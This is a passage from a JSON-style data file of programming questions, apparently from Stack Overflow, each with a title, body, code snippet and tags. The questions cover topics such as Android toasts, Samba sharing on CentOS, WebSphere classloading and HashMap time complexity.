{ intClass }, cp);\n", "java wsdl weblogic cxf xerces"], "4198476": ["Install my
own SQL Server 2008 copy on Amazon", "Can I install SQL Server 2008 Standard
Edition that I got though BizSpark on Amazon EC2?\n", "", "windows-server-2003 sql-
server-2008 amazon-ec2"], "2199737": ["Drobo FS vs Lime Technology unRAID vs
FreeNAS", "I already decided to by a drobo fs until I just found these two tests: \
n\nhttp://www.digitalversus.com/data-robotics-drobo-fs-p889_9543_487.html\nhttp://
www.digitalversus.com/lime-technology-unraid-p889_8992_473.html\n\nThe two cons
agains drobo for me: \n\nloudness\nprice\n\nWhat disadvantages has the unraid stuff
against the drobo fs? Has it also got that ease of use like swapping drives on the
go, simply extend capacity by plugging in new drives, notify me of drive errors,
disk failure protection, dynamic space of \"partitions\", better/worse effective
capacity, etc. Which is more secure? Am I able to simply replace a bad drive with a
new one on unraid? What happens if my pc fails? Lets say the cpu overheats.\nSince
I have a complete pc which is going to be replaced, I only have to pay the software
to use unraid.\nI am going to use my nas for: \n\nmusic library (how well does it
integrate with iTunes? )\npicture library\nmovie library\ndevelopment (i need to be
able to be to use time machine)\n\nI am going to use this nas with a MacBook pro.\
nMy current disks: \n\n2x 500Gb\n1x 1.5Tb\n1x 2Tb\n\nOn a drobo fs I would have
2.26 Tb of space. What would it be on unraid?\nIs FreeNAS also an alternative? \n",
"", "nas freenas drobo"], "2004726": ["Converting software RAID1 to hardware RAID1
without losing data", "I have a home server running Ubuntu Jaunty and housing a 2 x
2TB RAID1 array. It is a software RAID but I'm looking to pull out those drives and
put them in a external RAID enclosure to save space. My question is, \nWill I be
able to just \"plug in\" the drives and have it work, or will I have to
reformat/rebuild the array?\nDoes anyone have experience using RAID enclosures?\n",
"", "raid software-raid hardware-raid raid-1"], "5586675": ["Same Toast for every
response", "I am deling with web services and I got a problem with my Toast in
onpostexecute() method. I am trying to show the toast according to the logcat
response.resultsRequestSOAP is a string value I am retrieving from server. If the
string value is 1 then I should show \"registerd\" in toast. If 0 then \"Try
again\" and If -1 then \"Field is empty\" \nIn my logcat I m getting the response
as string value.\nI want to parse the response answer of logcat and store in a
local variable like string resultsrequestobject=0; so that I can check it in
onpostexecute. but How can I do this? any Idea?\nThe problem is every time I am
getting \"Try again\" toast message as a response.\nThe problem might be with
Boolean(which I m using) instead of primitive value which never returns null. I m
confused with this line else
if (resultsRequestSOAP.booleanValue()). its not working for me. how to solve
this?\nplz some one check the code in onpostexecute() and let me know the problem.\
nI want to compare the value in logcatand show the toast like this.\n If its 1 then
\"Registered\", \n If its 0 then \"Try again\",\n If its -1 then \"field should
not be empty\"\nHelp is always appreciated...!\n\n", " public class Register
extends Activity {\n\n public static final Boolean resultsRequestSOAP =
null;\n\n @Override\npublic void onCreate(Bundle savedInstanceState) {\n
super.onCreate(savedInstanceState);\n setContentView(R.layout.main);\n\n private
class RegisterTask extends AsyncTask<Void, Void, Boolean> {\n private final
ProgressDialog dialog = new ProgressDialog(Register.this);\n\n protected void
onPreExecute() {\n this.dialog.setMessage(\"Registering...\");\n
this.dialog.show();\n\nprotected Boolean doInBackground(final Void unused) {\n\n
return this.register(); //don't interact with the ui!\n }\n\n public
Boolean register() {\n\n // code for webservices******** \n EditText
etxt_user = (EditText) findViewById(R.id.regetfirstname);\n EditText
etxt_pass = (EditText) findViewById(R.id.regetlastname);\n EditText
etxt_dob = (EditText) findViewById(R.id.regetdob); \n EditText etxt_email
= (EditText) findViewById(R.id.regetemail); \n EditText etxt_password =
(EditText) findViewById(R.id.regetpwd);\n EditText etxt_confirmpassword =
(EditText) findViewById(R.id.regetrepwd);\n EditText etxt_mobno =
(EditText) findViewById(R.id.regetmobno);\n\n String fname =
etxt_user.getText().toString();\n String lname =
etxt_pass.getText().toString();\n String dob =
etxt_dob.getText().toString(); \n String contact =
etxt_mobno.getText().toString();\n final SoapObject request =
new SoapObject(NAMESPACE, METHOD_NAME);\n SoapSerializationEnvelope
soapEnvelope = new SoapSerializationEnvelope(SoapEnvelope.VER11);\n
soapEnvelope.dotNet = true;\n soapEnvelope.setOutputSoapObject(request);\n
HttpTransportSE aht = new HttpTransportSE(URL);\n\n\n try {\n\n if
(confirmpassword != null && password != null) \n {\n if
(password.equals(confirmpassword)) \n {\n
request.addProperty(\"password\", password);\n\n } \n }\n
if(fname.equalsIgnoreCase(\"\")||lname.equalsIgnoreCase(\"\")||
email.equalsIgnoreCase(\"\")||\n password.equalsIgnoreCase(\"\")||
confirmpassword.equalsIgnoreCase(\"\")||contact.equalsIgnoreCase(\"\")||
dob.equalsIgnoreCase(\"\"))\n {\n System.out.println(\"Fields
should not be EMPTY\");\n }\n\n request.addProperty(\"email\",
email);\n request.addProperty(\"contact\", contact);\n
request.addProperty(\"fname\", fname);\n request.addProperty(\"lname\",
lname);\n request.addProperty(\"gender\", gender);\n
request.addProperty(\"dateofbirth\", dob);\n
request.addProperty(\"password\", password);\n
request.addProperty(\"latitude\", \"76\");\n
request.addProperty(\"longitude\", \"82\");\n
request.addProperty(\"device_id\", \"12345\"); \n\n
aht.setXmlVersionTag(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\"); \n
aht.call(SOAP_ACTION, soapEnvelope);\n\n SoapObject resultsRequestSOAP =
(SoapObject) soapEnvelope.bodyIn;\n Log.v(\"TAG\",
String.valueOf(resultsRequestSOAP));\n //here its retrieving the value
as string\n\n\n\n }\n\n return resultsRequestSOAP;\n\nprotected void
onPostExecute( Boolean resultsRequestSOAP) {\n if (this.dialog.isShowing())
{\n this.dialog.dismiss();\n }\n if (resultsRequestSOAP
== null) {\n
Toast.makeText(Register.this.getApplicationContext(), \"Try Again\",
Toast.LENGTH_SHORT).show();\n }\n\n else if
(resultsRequestSOAP.booleanValue()) {\n //also show register success
dialog\n
Toast.makeText(Register.this.getApplicationContext(), \"Registerd\",
Toast.LENGTH_SHORT).show();\n\n\n }\n else{\n
Toast.makeText(Register.this.getBaseContext(), \"Field is empty\",
Toast.LENGTH_SHORT).show();\n }\n
super.onPostExecute(resultsRequestSOAP);\n }\n", "android android-asynctask
toast"], "2238082": ["In MongoDB search in an array and sort by number of matches",
"The question is the next one:\nGet documents with tags in list, ordered by total
number of matches\nBut they say that is possible using Aggregation Framework, it's
possible?\n", "", "mongodb nosql aggregation-framework"], "2456609": ["How to
capture an URL parameter - Magento", "I have the following requirement: my URLs can
be any of the following
\n\nhttp://host/index.php/?resid=anyvalue\nhttp://host/index.php/storeviewname/?
resid=anyvalue, or ......?resid=anyvalue \n\nI want to capture the value and place
it in the backend and save it along the order the customer makes.\nI.e., if is
requested and the customer later proceeds to make an order, I want the to be saved
(133) along with the order id (say 100000123).\nAnd later I want the value to be
shown in the sales order grid (in admin).\nCan somebody guide me in doing this?\
nThanks a lot in advance.\n", "resid", "magento"], "673023": ["Ads Targeting &
Facebook Ads API", "I submitting the following target criteria: countries\":
[\"US\"],\"cities\":{\"name\":\"Gilbert, AZ\"},\"zips\":[],\"regions\":
[],\"radius\":0,\"locals\":null,\"keywords\":[],\"user_adclusters\":
[],\"interested_in\":null,\"genders\":null,\"age_min\":25,\"age_max\":0}\nThe error
I'm getting back is: (Exception - #0) Invalid Cities.\nCan someone help me?\
nThanks!\nEric\n", "", "facebook facebook-graph-api"], "3936058": ["Apache htaccess
passwd - ignoring correct login", "I want to password protect a directory. I'm
running Apache 2 with cPanel on Centos.\nFor the sake of this post, the directory
is \nI used cPanel's \"Password Protect Directories\" to create the login details,
which it stored in a new file.\nWhat it didn't do is create the AuthType
configuration anywhere - I could simply access the directory without prompts (it's
just got a generic index.html whilst I get this working).\nSo I created myself,
with the following contents:\n\nThis now causes the browser to prompt for login
details, but upon entering the correct username and password it behaves as if they
were wrong and re-prompts for the details.\nThe details I'm entering are definitely
correct.\nI've previously setup a password protected directory on this same server
(though for different account/domain) and that worked fine (and still works), and
I've compared the two and can't see any significant differences.\nAny ideas what
might be causing the continual prompts, and how I can fix it?\n", "/home/user/my-
secret-dir", "apache2 .htaccess cpanel htpasswd .htpasswd"], "4214900": ["How to
mock WiFi connection in JUNIT?", "Using Android and testing on the device, I use
this to check, if WiFI is connected:\n\nWorks well. Is there a way to mock this for
JUnit?\nThanx in advance,\nMarcus\n", " ConnectivityManager manager =
(ConnectivityManager)
MyApplication.getMyApplication().getSystemService(Context.CONNECTIVITY_SERVICE);\n
NetworkInfo info = manager.getNetworkInfo(ConnectivityManager.TYPE_WIFI);\n
return info.isConnectedOrConnecting();\n", "android junit mocking wifi"],
"3552375": ["How to reduce application size when it is installed in sd card", "I
have recently started developing a simple application which has a very few KB (less
than 20KB) of resources most of which are png images. I have written on the
application manifest that the application should prefer external storage.\nThe
problem is that the application size is reduced only from 680KB to 500KB. I have
seen games that reduce their application size from 10MB to 200KB when moved to sd
card. Since my phone has only 70MB of internal storage available when nothing is
intalled from google play it seems stupid for an application that has a single
activity with some buttons and textboxes and 2 32X32 png files to take 0.5 MB of
data.\nWhat should I do while developing the application to make it move most of it
on the sd card? I am not really concerned about the apk file size but on the
remaining data on the internal storage, since it is fairly cheap to buy a 4GB sd
card than a newer phone with larger internal memory.\n", "", "sd-card internal
android-apk"], "833686": ["How to add toolbar Items like button and separators on
design time using code", "I am developing an add-in for visual studio. i need to
add a toolbar and it's item like button and separators using code on design time. I
think it can be done by using IDesignerHost or propertydescriptor class.\nplease
help me if any one can.\n", "", "c# visual-studio plugins add-in"], "4415586":
["LESS: CSS3 animation plays once more when buttons pressed", "I want to animate a
button in and have the animation only play once. The issue is that the animation
plays once more when the button is first clicked:\nI am using LESS:\n\nAgain, the
animation plays just fine, but ends up playing once more when the button is
clicked. thanks for your help.\n", "#boring_btn{\n width: 100%;\n background:
#ffffff;color: @darkgrey;font-size: 25pt;\n position: fixed; bottom:0;right: 0;\n
display:block;\n .animation(opacityShift 0.3s ease-in);\n\n &:active,
&:visited,&:link{\n color: @darkgrey;\n\n }\n div {\n color: inherit;\n
margin-left: 30px;\n }\n}\n\n#boring_btn:hover{\n color: @red;\n}\n\n@-webkit-
keyframes opacityShift {\n from { opacity: 0.0; .transform(rotateX(-86deg));}\n
to { opacity: 1.0; .transform(rotateX(180deg));}\n}\n.animation
(@params) {\n -webkit-animation: @params;\n -moz-animation: @params;\n -o-
animation: @params;\n animation: @params;\n }\n", "css css3 animation less"],
"3047203": ["Class loading issue involving CXF on Websphere, parent last not
helping", "My problem concerns CXF and the wsdl4j_1.6.2.jar colliding with
something, presumably the axis-wsdl4j.jar.\nI have read: What's wrong with my
Apache CXF client?\nMy project does not include the axis-wsdl4j.jar in the war. I
have also asked our admin to switch Websphere to Parent Last. I still get this:\n\
n[12/13/12 16:01:28:378 CST] 0000001b ServletWrappe E SRVE0068E:\n Uncaught
exception thrown in one of the service methods of the\n servlet: CXFServlet.
Exceptio n thrown : java.lang.RuntimeException:\n
org.apache.cxf.interceptor.Fault:\n
javax/wsdl/xml/WSDLReader.readWSDL(Ljavax/wsdl/xml/WSDLLocator;Lorg/w3c/dom/
Element;)\n Ljavax/wsdl/Definition;\n at
org.apache.cxf.interceptor.AbstractFaultChainInitiatorObserver.onMessage(AbstractFa
ultChainInitiatorObserver.java:116)\n at
org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:3
22)\n at
org.apache.cxf.transport.ChainInitiationObserver.onMessage(ChainInitiationObserver.
java:122)\n at
org.apache.cxf.transport.http.AbstractHTTPDestination.invoke(AbstractHTTPDestinatio
n.java:211)\n at
org.apache.cxf.transport.servlet.ServletController.invokeDestination(ServletControl
ler.java:213)\n at
org.apache.cxf.transport.servlet.ServletController.invoke(ServletController.java:15
4)\n at
org.apache.cxf.transport.servlet.CXFNonSpringServlet.invoke(CXFNonSpringServlet.jav
a:129)\n at
org.apache.cxf.transport.servlet.AbstractHTTPServlet.handleRequest(AbstractHTTPServ
let.java:187)\n at
org.apache.cxf.transport.servlet.AbstractHTTPServlet.doPost(AbstractHTTPServlet.jav
a:110)\n at javax.servlet.http.HttpServlet.service(HttpServlet.java:763)\n
at
org.apache.cxf.transport.servlet.AbstractHTTPServlet.service(AbstractHTTPServlet.ja
va:166)\n at
com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1143)\n
at
com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:59
1)\n at
com.ibm.ws.wswebcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:
481)\n at
com.ibm.ws.webcontainer.webapp.WebApp.handleRequest(WebApp.java:3453)\n at
com.ibm.ws.webcontainer.webapp.WebGroup.handleRequest(WebGroup.java:267)\n
at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:815)\n
at com.ibm.ws.wswebcontainer.WebContainer.handleRequest(WebContainer.java:1466)\n
at com.ibm.ws.webcontainer.channel.WCChannelLink.ready(WCChannelLink.java:119)\n
at
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleDiscrimination(HttpInbou
ndLink.java:458)\n at
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.handleNewInformation(HttpInbou
ndLink.java:387)\n at
com.ibm.ws.http.channel.inbound.impl.HttpInboundLink.ready(HttpInboundLink.java:267
)\n at
com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.sendToDiscriminators(N
ewConnectionInitialReadCallback.java:214)\n at
com.ibm.ws.tcp.channel.impl.NewConnectionInitialReadCallback.complete(NewConnection
InitialReadCallback.java:113)\n at
com.ibm.ws.tcp.channel.impl.AioReadCompletionListener.futureCompleted(AioReadComple
tionListener.java:165)\n at
com.ibm.io.async.AbstractAsyncFuture.invokeCallback(AbstractAsyncFuture.java:217)\n
at com.ibm.io.async.AsyncChannelFuture$1.run(AsyncChannelFuture.java:205)\n
at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1473) Caused by:
org.apache.cxf.interceptor.Fault:\n
javax/wsdl/xml/WSDLReader.readWSDL(Ljavax/wsdl/xml/WSDLLocator;Lorg/w3c/dom/
Element;)Ljavax/wsdl/Definition;\n at
org.apache.cxf.service.invoker.AbstractInvoker.createFault(AbstractInvoker.java:162
)\n at
org.apache.cxf.service.invoker.AbstractInvoker.invoke(AbstractInvoker.java:128)\n
at org.apache.cxf.jaxrs.JAXRSInvoker.invoke(JAXRSInvoker.java:167)\n at
org.apache.cxf.jaxrs.JAXRSInvoker.invoke(JAXRSInvoker.java:94)\n at
org.apache.cxf.interceptor.ServiceInvokerInterceptor$1.run(ServiceInvokerIntercepto
r.java:58)\n at
org.apache.cxf.interceptor.ServiceInvokerInterceptor.handleMessage(ServiceInvokerIn
terceptor.java:94)\n at
org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:2
62)\n ... 26 more Caused by: java.lang.NoSuchMethodError:
javax/wsdl/xml/WSDLReader.readWSDL(Ljavax/wsdl/xml/WSDLLocator;Lorg/w3c/dom/
Element;)Ljavax/wsdl/Definition;\n at
org.apache.cxf.wsdl11.WSDLManagerImpl.loadDefinition(WSDLManagerImpl.java:242)\n
at org.apache.cxf.wsdl11.WSDLManagerImpl.getDefinition(WSDLManagerImpl.java:191)\n
at org.apache.cxf.wsdl11.WSDLServiceFactory.(WSDLServiceFactory.java:92)\n
at org.apache.cxf.jaxws.ServiceImpl.initializePorts(ServiceImpl.java:203)\n
at org.apache.cxf.jaxws.ServiceImpl.(ServiceImpl.java:147)\n at
org.apache.cxf.jaxws.spi.ProviderImpl.createServiceDelegate(ProviderImpl.java:97)\n
at javax.xml.ws.Service.(Service.java:35)\n ...\n\nProject is built by
Maven, deployed to Websphere via Continuum only; and all settings are changed via
request. Application runs perfect on local Tomcat.\nEDIT:\nThis was eventually
fixed by:\n\nCopy wsdl4j.jar to /usr/WebSphere/AppServer/appLibs/APPNAME
directory.\nChmod 775 on previous.\nIn websphere admin console, environment (on
left), Shared Libraries, and define a container wide shared library with name as
APPNAME above.\nAdd the jar to the classpath of the shared library.\nServers (on
left), APPNAME java, process management, Class Loader and make sure \"Classes
loaded with application class loader first\"\nClick on the class loader and assign
the shared library to it.\nRestart Server\n\n", "", "websphere cxf
nosuchmethoderror"], "5656302": ["Why does Latex/Bibtex need three passes to clear
up all warnings?", "As explained by Andy Roberts, if you need to compile a new
document with bibtex citations, then you need to run latex three times, and bibtex
once:\n\nWhy can't latex figure this out itself, and just do what it needs to do?
What is it doing in the later runs that it can't do in the earlier runs?\n", "latex
document\nbibtex document\nlatex document\nlatex document\n", "bibtex compiling"],
"4017428": ["Time Complexity of HashMap methods", "Since i'm working around time
complexity, i've been searching through the oracle Java class library for the time
complexity of some standard methods used on Lists, Maps and Classes. (more
specifically, ArrayList, HashSet and HashMap)\nNow, when looking at the HashMap
article, they only really speak about the and
methods.\nhttp://download.oracle.com/javase/1.4.2/docs/api/java/util/HashMap.html\
nThe methods i still need to know are:\n\nI think that will be the same complexity
as , , assuming we don't have a giant HashMap with equal hashCodes, etc etc...\nFor
i'd also assume , since a HashSet, which also has no order, has a method with
complexity .\nThe one i have no idea of is - I'm not sure whether this method will
just somehow \"copy\" the HashMap, giving a time complexity of , or if it will have
to iterate over the HashMap, making the complexity equal to the amount of elements
stored in the HashMap.\nThanks.\n", "get()", "java methods hashmap time-
complexity"], "3950002": ["CentOS 6.3 Samba share over internet not working",
"Summary:\nThis is a 2 part question. A simple Samba share on one ISP with router
doesn't work while another ISP with a different router setup the same and a similar
server with same Samba configuration works.\nIt seems to be either the router not
forwarding the ports, although it successfully forwards SSH and others, or the ISP
somehow blocking the standard Samba ports. It still bugs me that I can't figure out
why it doesnt work and I'll still try to narrow down the cause.\nThe second
question is I'm looking for a business use, simple, easy to use (for end users),
secure share for a small number of people and files, hosted internally and
accessible externally on the internet, between Windows 7, XP, Mac, and linux
servers with simple clients for end users.\nA new friend outside of stackoverflow
helped with sshfs as a solution. On CentOS ssh already supports sshfs. The Windows
client win-sshfs is working well and I'll be trying OSXFUSE with MACFusion
described at UO.\nAdditionally, setup linux users for each person. To allow write
by everyone in the linux group, change the umask in /etc/ssh/sshd_config described
in this question at serverfault. People get to their home directory first, where I
placed links to a shared folder with sticky bit set so they can't delete the
folder. They can delete the links but that's easy enough to put back. The only
issues I can see are lack of file locking and lack of auto-refresh.\n\nOriginal
Question:\nI can't seem to get Samba working on a Centos 6.3 server over the
internet. I have a similar test server on another internet connection working fine
with the exact same setup. I've gone through
http://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/diagnosis.html twice,
made sure the ports are forwarded through to the internet (although not sure how to
test they are really open), double checked samba configuration, its only sharing
/tmp simply now. The user account is setup, it can ssh in and get to /tmp and the
samba password is set the same. I can't ping the server but that is because the
router or IP is set not pingable by the owner/work. SSH and HTTPS apache work well
on the server with ports forwarded the same way. I haven't been able to test
the share within the local network yet since I am not there, but I assume that it
should work internally. When trying to connect from Windows 7 it just times out, no
prompt and it has never connected, whereas my test server on my own internet
connection is always working internally and externally.\nAny help would be greatly
appreciated.\nThe requirement is a easy to use internally hosted shared folder
alternative to using \"dropbox\" for use between Windows 7, XP, mac, and linux
servers that works over external internet connection. It won't see heavy usage but
should be quick, easy to access/setup on the client side, and secure for business.
If there are any alternatives to install on CentOS that would be great as well.\
nThank you!\nAndrew\nEdit, details:\nPorts are forwarded:\n(I had an image but as
new user I cant post) 137, 138, 139, 445 are forwarded all with both TCP and UDP
for testing now.\nsmb.conf is setup simply and exactly the same as the working test
server:\n\nSamba restarted for good measure:\n\nWindows 7 times out when trying to
access the share as \\ which works fine with the test server:\n(I had a screenshot
but new users cant post)\nA search for the error 0x80004005 results in
http://answers.microsoft.com/en-us/windows/forum/windows_vista-networking/cannot-
access-network-share-get-unspecified-error/9f840844-9d5b-e011-8dfc-68b599b31bf5\
nI've checked the workgroup, share settings, and restarted windows. Since the test
share works I would think the Windows machine is working. I'll continue with the
details.\nEdit again:\nFollowing the troubleshooting guide again:\nSimplify the
smb.conf to just:\n\n/etc/resolv.conf is using the ISPs servers and they work. They
are different than the working server's DNS but that one is on a different ISP:\n\
nI'm doing everything with IP addresses so I don't know that DNS would come into
play.\nI added dns proxy = no to smb.conf for fun but that didn't
help.\n/var/log/samba/log.smbd doesn't report anything different from the working
server:\n\nHowever the working server creates a log file in the directory named
log. which the non working server does not.\ntestparm:\n\ncontinuing...\
nContinued:\nnmb is running as well:\n\n\"Respond to Ping on Internet Port\" is
normally turned off on the routers. I turned it on, on both the Windows client and
the server. Each can ping the other, sharing still doesn't work.\n\ncontinuing...\
nContinued:\niptables are off:\n\nSELinux is off:\n\nsmbclient using a user setup
in samba works from the samba server to its local IP and to its external IP. The
Windows client gets:\n\nSamba is running as a daemon/service and netbios-ssn is in
listen mode:\n\nContinuing...\nContinued:\nWe're not restricting connections or
using inetd.\nlog.nmbd does not report any problems.\nnmblookup -B BIGSERVER SAMBA
works using the server's name\nnmblookup -B ACLIENT * fails on all log files using
the windows client name OR the external IP address\nnmblookup -d 2 `*'. fails \
n\"If your PC and server aren't on the same subnet, then you will need to use the -
B option to set the broadcast address to that of the PC's subnet.\nThis test will
probably fail if your subnet mask and broadcast address are not correct. (Refer to
test 3 notes above).\"\nIm not sure here, since we're going over the internet do we
need these to match and work?\nsmbclient //BIGSERVER/TMP works\nOn the client:\n\
nnet use has the same problem, even with providing user and passwd.\nnmblookup -M
WORKGROUP returns a local windows machine on the network there, whereas on my test
server it returns the client which is local to the test machine. Perhaps there is
an issue here with workgroup being on another machine, but how would others connect
from other networks if this was the issue?\nI tried preferred master = yes as
well.\nPage 2 of samba howto next.\nUpdate: A new friend said to try nmap to see
check the ports:\n\nSince the Samba ports do not show up, I'm thinking the router
or ISP is not forwarding/blocking the ports at this point.\nAs for a solution to
sharing, I'm trying sshfs with a windows and mac client.\n", "# cat
/etc/samba/smb.conf\n[global]\nworkgroup=WORKGROUP\nlog level = 3\nlog file =
/var/log/samba/log.%m\nmax log size = 50\nsecurity = user\npassdb backend = tdbsam\
n\n[tmp]\ncomment = temporary files\npath = /tmp\nread only = yes\n", "centos
samba"], "4214903": ["linux noob: where can I find packages for my version?", "Hi I
have inherited a new server running\nLinux version 2.6.18-128.2.1.el5\ngcc version
4.1.2 20080704\nRed Hat 4.1.2-44\nbasically I need to install an ftp server on it,
apache, some extensions..\nwhere can i find software for this specific version?
everything i download doesn't even install properly. I can't use the rpm command
because of firewall restrictions.\nedit: oh its quad 2.8 xeon 64-bit... maybe that
is the issue\nThanks,\nlinux noob\n", "", "linux redhat"], "5556251": ["Yii
CUserIdentity vs a User Model", "I have at least one model in my Yii project that
will need to reference a particular user ID. In my SQL for the model I have
something like . I was going to go ahead and create a User model when I came across
the docs for CUserIdentity. I have to admit I am confused. Is a CUserIdentity a
user or a state associated with a particular user-case? I would like to use as much
of the built-in Yii features as possible since they handle a lot of security-
related issues from what I understand, and I am aware of the existence of some
modules like that handle user authentication and registration management. Please
guide me in the right direction. (Also at issue: what is the relationship between
models and components?)\n", "CONSTRAINT FOREIGN KEY (user_id) REFERENCES User(id)",
"php oop yii yii-components yii-inheritance"], "4472209": ["Function which returns
a list of all neighbors of a vertex and it's neighbors's neighbors", "Here's a
indirect Graph representation of a collections of vertexes such that each vertex
holds is neighbors list: \n\nI need to write a function which returns a list of all
the neighbors and the neighbors of the neighbors. Please don't mind the lack of
definitions and allocation of spaces to the variables,\n I just want to know if
I'm right regarding the pointers, I kind of got lost.\n\n", "typedef struct node
list{\n struct node* node;\n struct node_list* next;\n} NList;\ntypedef struct
node{\n NList* nbrs;\n int id;\n}Node;\n", "c pointers graph"], "5800078": ["Get
the text out of an WebElement found by id update by jquery", "I'm trying to get
some text out of and id so i can use it later in the test. And i can find the
element with: \n\nBut the problem is that the value will get dynamically added
later by jquery, so the id will be present when i get to the page. I then click a
button and jquery will update the id.\nI know i can use the jrnrText.getText() but
that will not give me anything since the id don't contain anything before i click
the button.\nThis is my code:\n\n", "WebElement jrnrText = driver.findElement(\n
By.id(\"ctl00_content_createnewschema_modalAlert_alertMessage\"))\n", "java jquery
webdriver selenium2"], "4809848": ["Localhost web page does not open in opera
mini", "I have created site using jquery mobile. I have tested in mobile default
browser and internet browser and its works fine. But whenever I will try to open in
opera mini it gives connection error. Opera mini does not open my localhost site.\
nAny idea how to open localhost site in opera mini ?.\n", "", "jquery-mobile opera
opera-mini"], "5300628": ["UINavigationController visibleViewControllers", "I have
a UITabBarController, and one tab is a UINavigationController. I have a search bar
that goes to a certain view within the UINavigationController. The problem is that
if the first view is not pushed by the UINavigationController, than it crashes
because my search doesn't recognize the visibleViewController from this call:\n\
nWhat I don't understand is, before this code, I do this:\n\nThis code on its own
selects the viewController in that tab, where then the view gets loaded to my
knowledge. So shouldn't this be enough for the [navController
visibleViewController] to get the current viewController? Thanks.\n",
"UINavigationController *navController = [self.MainTab.viewControllers
objectAtIndex:1];\nFirstViewController *fVC = [navController
visibleViewController];\n", "iphone uiviewcontroller uinavigationcontroller
uitabbarcontroller"], "2444918": ["How to add user input to array or remove it? C+
+", "Say I get user input. If what they type in is not already in the array(how do
I check an array?), add it to the array.\nAnd vice versa how do I remove something
from an array given the user input. \nExample:\n\n", "string teams[] = {\"St.
Louis,\",\"Dallas\",\"Chicago,\",\"Atlanta,\"};\n\ncout <<\"What is the name of the
city you want to add?\" << endl;\n cin >> add_city;\n\n cout <<\"What is the
name of the city you want to remove?\" << endl;\n cin >> remove_city;\n", "c++
arrays"], "2390832": ["Subversion Working Copy on Network Share don't show
Subversion Status", "I am very new to the Subversion system but based on my
experience on TFS and CVS, I belive I can have the my working copy on a network and
it wroks as well. \nBut only problem I am facing now is that when I checkout files
from Subversion system, it doesn't show subversion file status on checked out file
on network folder. If I do the same thing on local computer then it does show the
subversion file status.\nDoesn't anyone faced this kind of behaviour before? Any
suggestions on how to fix it?\nAny help is appriciated\n", "", "svn"], "3960817":
["Is NdisGetCurrentSystemTime different from KeQuerySystemTime?", "I found that
MinGW Win32 compatibility layer has following definition in ndis.h:\n\nIn WinDDK,
definition is:\n\nDoes native NdisXX function really isn't adding anything
to KeQuerySystemTime call? Or there is a large difference (allowed IRQL etc)
between them in native OS rather than in MinGW hacked point of view? Do they relate
differently to the resolution of system timer (which can be retrieved via )?\n",
"#define NdisGetCurrentSystemTime KeQuerySystemTime\n", "windows time kernel
drivers ndis"], "6016697": ["Can Email Links open in new window?", "I have this
line of code:\n\nBut the is not working. It always opens the mail server in the
same window but not in new. What I am doing wrong?\n", "<a
href=\"mailto:[email protected]?subject=test&body=test\" target=\"_blank\">test</a>\
n", "email hyperlink new-window"], "4475439": ["Database design - looking for a
radical change", "I have a relational database that stores plant information.
There's a plant_id, a plant category which links to a category table, etc.etc. The
design is quite good but I'm confronted with a task that is quite interesting. The
data must be populated automatically by the users.\nThe ideal scenario is a user
that logs into a website and uploads their set of data, usually in a plain-text
format (such as .csv or another Windows document), and this data automatically gets
inserted into my plants database.\nSo I basically give out specification; the user
should set their .csv columns to a specific name so that the script can link with
my database fields. There's many of these fields that refer to generic attributes
of a plant... for example a plant height, or the plant color. This information
might be a height using the metric system, or using another system. The color might
be something like brownish that is actually the same as saying brown. There's
hundreds of these examples.\nI'm trying to automatically fix these inconcistencies
so that a brownish attribute will link to the actual brown color. This link is
important because people using the site will want to locate plants of a given
color, and right now I have to go through and manually associate all these
different attributes.\nHow would you fix this and avoid manual intervention?\n",
"", "mysql database-design"], "2785971": ["Error when trying to run jar file
exported from Eclipse", "When I export my project it works, but when I open it, it
says: \"can't find the main-class: Game.Frame\" and there is a folder called and a
class in there named and is the main class.\n", "Game", "eclipse"], "4372540":
["Changing an embedded UITextView width on rotation?", "I have a UITextView
embedded inside a grouped table view cell that I can't seem to update on rotation.
It basically keeps the same width (assumed portrait) when it becomes landscape,
causing about 40% of the view to be blank on the left side.\nIs there a way to
update this easily? I was looking at but I wasn't sure if that was the right thing
to update the view on rotation.\nSpecifically, I'm thinking the width value should
be updated, since it's based on the width.\n\n",
"willRotateToInterfaceOrientation", "ios uitableview uitextview"], "3976151":
["Win32 how to get the size of a remote downloadable file", "How is it possible to
get the size of a downloadable file before actually downloading it. I need to
implement it using Visual C++ for Win32 application.\nAny help would be highly
appreciated,\nFarooq-\n", "", "windows winapi visual-c++ mfc file-download"],
"4952818": ["Short int - how to save to the file", "I have unsigned short int (from
0 to 65535) and I must save it to the file, using stdio and consuming 2 bytes, but
I don't know, how.\nAny suggestions?\n", "", "c++ int unsigned stdio"], "2999521":
["How do I launch the WebSphere management console in Windows 2003 Server", "I am
new to WebSphere application server. I need to make minor changes on the server.\nI
don't know how to launch the Admin console.\n", "", "websphere websphere-6.1"],
"3451235": ["How to make an update an array in MIPS?", "I'm trying to make an
array, and then update the values of certain cells if needed. From what I know,
using the Stack Frame would be the best approach, but I can't get it to work.
Anyone able to point me in the right direction?\nThanks!\n", "", "arrays assembly
stack mips32"], "2995822": ["How to show a handle on SWT's SashForm?", "How can I
show a handle/visual indication on a SWT's ?\nWith my code, there is no feedback to
the user, that there is infact a sash form:\n\n", "SashForm", "java swt"],
"683457": ["Downloading a file, and I get Content-Length header is Invalid", "I'm
downloading a file, from a webserver, using the code below, and am recieving this
error:\nThe Error:\nError saving file from URL:The server committed a protocol
violation.\nSection=ResponseHeader Detail='Content-Length' header value is invalid\
nFrom running Fiddler while this is running, it says:\nContent-Length response
header is not a valid unsigned integer\nContent-Length: 13312583\nThe Code:\n\
nUpdate: If I pass the URL straight into a browser, the file is downloaded
successfully, and the error is thrown on the GetResponse line.\nUpdate 2: I get the
